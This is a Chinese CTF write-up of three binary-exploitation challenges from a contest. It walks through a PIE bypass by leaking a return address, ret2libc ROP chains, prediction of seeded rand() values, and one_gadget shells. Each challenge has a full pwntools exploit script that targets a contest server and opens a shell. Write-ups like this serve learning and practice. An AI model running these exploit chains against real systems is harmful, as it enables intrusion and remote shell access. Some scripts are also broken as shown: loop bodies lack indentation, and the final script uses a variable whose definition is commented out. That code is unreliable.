赛后复现

比赛的时候脑子短路了(也是基本功不扎实),一题也做不出来,赛后花了1天的时间复现了一下,只能说水平差的还很多。

checkin_revenge

输入三个数字满足等式,还是没啥限制,随意构造即可

image-20211123175154905

这里存在明显的栈溢出

image-20211123180155091

但是这一题是开了PIE和RELRO的64位程序,所以我们不能再覆盖got表,

image-20211123175429770

PIE 保护太烦人了,之前没做过栈溢出开PIE的(做题少),但是虽然PIE烦人,但是还是有弱点的:

PIE 保护的一个弱点就是pie不会随机化地址的低12位,通俗点说就是我们十六进制地址的后三位,这样我们才有“文章”可做

现在先整理一下思路:

  • 我们的目的是得到libc中system和/bin.sh的地址
  • 开启了地址随机化,每次运行的基址都不一样,所以得先得到每次程序运行的libc的基址,这里我们利用libc_start_main,我们想办法得到程序中libc_start_main的地址,减去libc中的偏移,得到libc基址,进而获得system等的地址
  • 为了得到libc基址,我们已经让程序正常运行了一次,那我们接下来就是要让程序再出现一次栈溢出漏洞,在这时截获它,让它运行system(’/bin/sh’), getshell

所以程序的运行地址我们要先泄露出来,有了它我们就能利用 plt表 泄露出 got表 内容。

具体做法是利用 put() 函数是打印一个字符串,直到遇到 ‘\x00‘才会停止打印,而我们输入的函数是 read() ,它不会帮我们添加 ‘\x00‘,所以我们能用这个点来泄露出 vlu() 的返回地址,即main函数里的地址,也就能得到程序的运行基址,注意到 vul() 的返回地址为 A89 ,而我们只能覆盖一个字节,开了PIE后只有最后三位是相同的,所以不能覆盖两个字节,所以我们只能回到 A7F处,同样能达到我们再次栈溢出的目的

image-20211123182311710

然后有了程序基址,我们正常利用puts的plt表来调用puts泄露got表内容,因为got表写的是libc函数地址,所以就等于我们得到了libc基址,然后就是64位正常做。

EXP:

from pwn import *
context.log_level = 'debug'

#p = process("./checkin_revenge")
p = remote("172.16.68.4", 10002)
e = ELF("./checkin_revenge")

a = str(1)
b = str(2)
c = str(3)

off = 0x10 + 8
p.sendlineafter("Give me your a:",a)
p.sendlineafter("Give me your b:",b)
p.sendlineafter("Give me your c:",c)

#gdb.attach(p, "bp $rebase(0x991)")
payload = "a" * off + "\x7f"
p.send(payload)
main_addr = u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00'))
success("main:" + hex(main_addr))
code_base = main_addr & 0xfffffffffffff000

puts_plt = e.plt["puts"] + code_base
print("puts_plt:" + hex(puts_plt))
puts_got = e.got["puts"] + code_base
pop_rdi = 0x0000000000000b03 + code_base
payload = 'a' * off + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.send(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
print("puts_addr:" + hex(puts_addr))

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc = ELF("./x86_libc.so.6")
base_addr = puts_addr - libc.symbols["puts"]
system_addr = base_addr + libc.symbols["system"]
binsh_addr = base_addr + libc.search("/bin/sh").next()
success("system:" + hex(system_addr))
success("binsh:" + hex(binsh_addr))

payload = 'a' * off + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.interactive()

guess

64位保护全开

image-20211123193651612

主函数是输入一个文件名,然后程序会打开并读取它的前4个字节,将每个字节作为随机数种子,生成随机数。

image-20211123193808671

题目的难点在我们不知道靶机上有啥文件,但是这同样也是一个漏洞。

非预期解:

随意输入一个文件名,因为不存在这个文件,所以打开文件失败,随机数种子是初始值 0,这样每次生成的随机数都是同样的,是一个固定值,利用 在相同libc库下由相同的随机数种子生成的随机数相同 这个点,我们可以很轻松’’猜’’出四次 ‘随机数’。

EXP:

from pwn import *
from ctypes import *

context.log_level = "debug"

p = remote("172.16.68.4", 10006)
#p = process("./guess")
#elf = cdll.LoadLibrary('./x64_libc.so.6')
elf = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = '0.txt'
p.sendafter('First of all, choose a file you like it.\n',payload)

elf.srand(0)
for i in range(4):
payload = str(elf.rand())
p.sendlineafter("number:",payload)

p.interactive()

正常解:

目前我们可以确定在目标靶机上的文件就是这个 guess程序本身 ,而guess程序是一个 ELF文件 ,它的前四个字节是一个固定值:0x7F454C46 ,接下来利用 在相同libc库下由相同的随机数种子生成的随机数相同 这个点模拟播种,生成随机数就好了。

image-20211123195011368

EXP:

from pwn import *
from ctypes import *

context.log_level = "debug"

p = remote("172.16.68.4", 10006)
#p = process("./guess")
#elf = cdll.LoadLibrary('./x64_libc.so.6')
elf = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'guess'
p.sendafter('First of all, choose a file you like it.\n',payload)

key = "7F454C46"
for i in range(0,8,2):
elf.srand(int(key[i:i+2],16))
payload = str(elf.rand())
p.sendlineafter("number:",payload)

p.interactive()

gudugudu

64位除了canary,其他保护全开

image-20211123195340292

主函数的主要逻辑是让你输入需要排序的数的个数,然后依次输入这些数,将其逐个储存到栈上,然后将其通过一个冒泡排序算法,让大数置于栈上的高地址,小数置于低地址。

image-20211123195717861

这道题给了我们printf函数的地址,我们可以通过它获得 libc基址 ,接下来就有两种方法了

方法一:

直接利用 One_gadget 一键getshell,这种方法我们只要有 **libc基址 就行了,不过也有缺点,就是要满足一定的条件,调试发现rax在main()**返回时是 0,所以使用第一个地址,完美getshell!

image-20211123200355800

EXP:

from pwn import *

context.log_level = "debug"
#p = process("./gudugudu")
p = remote("172.16.68.4",10005)

#gdb.attach(p,"bp $rebase(0xB28)")
p.sendafter("Tell me your baby name :",'hacker')
printf = (int(p.recvuntil('!')[-13:-1],16))
success("printf:" + hex(printf))

libc = ELF("./x64_libc.so.6")
libc_base = printf - libc.symbols['printf']
one_gadget = 0x45216 + libc_base

p.sendlineafter("And how many numbers do you want to sort :",str('21'))
# 21 fake bp 22 ret
for i in range(21):
p.sendlineafter("number :",str('1'))
p.sendlineafter("number :",str(one_gadget))

p.interactive()

方法二:

利用 sytem(“/bin/sh”) getshell,但是用这种方法我们需要使用指令 pop rdi ; ret 来将 字符串 “/bin/sh” 存入 rdi,这样我们就需要 程序的运行地址 了,但是我们从哪泄露它呢?

其实我们运行程序可以发现,当第一次输入时输入很短的字符串时,它会泄露出一些值——原因是 栈变量未初始化漏洞 ,调试发现这些值就是栈上的内容,而且可以利用它泄露出 main函数中的地址 ,即 程序的运行地址

image-20211123201301652

那么类似上面的exp 我们输入 24个数字,前21个覆盖到 rbp ,最后三个为 pop rdi ; ret + binsh_addr + system_addr, 但是运行程序时我们会发现,binsh_addr 的值永远是大于 system_addr, 所以经过冒泡排序,binsh 就会跑到 system 后面,这样就让我们的 ROP 被破坏了。被这个点卡了半天,后来发现原来是漏了一个条件,ida可以找到出题人提供的 “/bin/sh”image-20211123202521714

因为这个地址在程序里所以值肯定比 libc里的 system 小,满足条件,这样就可以getshell 了。

EXP:

from pwn import *

#p = process("./gudugudu")
p = remote("172.16.68.4",10005)

context.log_level = "debug"
#gdb.attach(p,"bp $rebase(0xB28)")
p.sendafter("Tell me your baby name :",'1')
code_base = u64(p.recvuntil(",")[-7:-1].ljust(8,'\x00')) -0xb30
success("code_base:" + hex(code_base))
printf = (int(p.recvuntil('!')[-13:-1],16))
success("printf:" + hex(printf))

libc = ELF("./x64_libc.so.6")
libc_base = printf - libc.symbols['printf']
system_addr = libc_base + libc.symbols["system"]
#binsh_addr = code_base + 0x20201E
success("system:" + hex(system_addr))
#success("binsh:" + hex(binsh_addr))

pop_rdi = 0x0000000000000c23 + code_base

p.sendlineafter("And how many numbers do you want to sort :",str('24'))
# 21 fake bp 22 ret

for i in range(21):
p.sendlineafter("number :",str('1'))
p.sendlineafter("number :",str(pop_rdi))
p.sendlineafter("number :",str(binsh_addr))
p.sendlineafter("number :",str(system_addr))

p.interactive()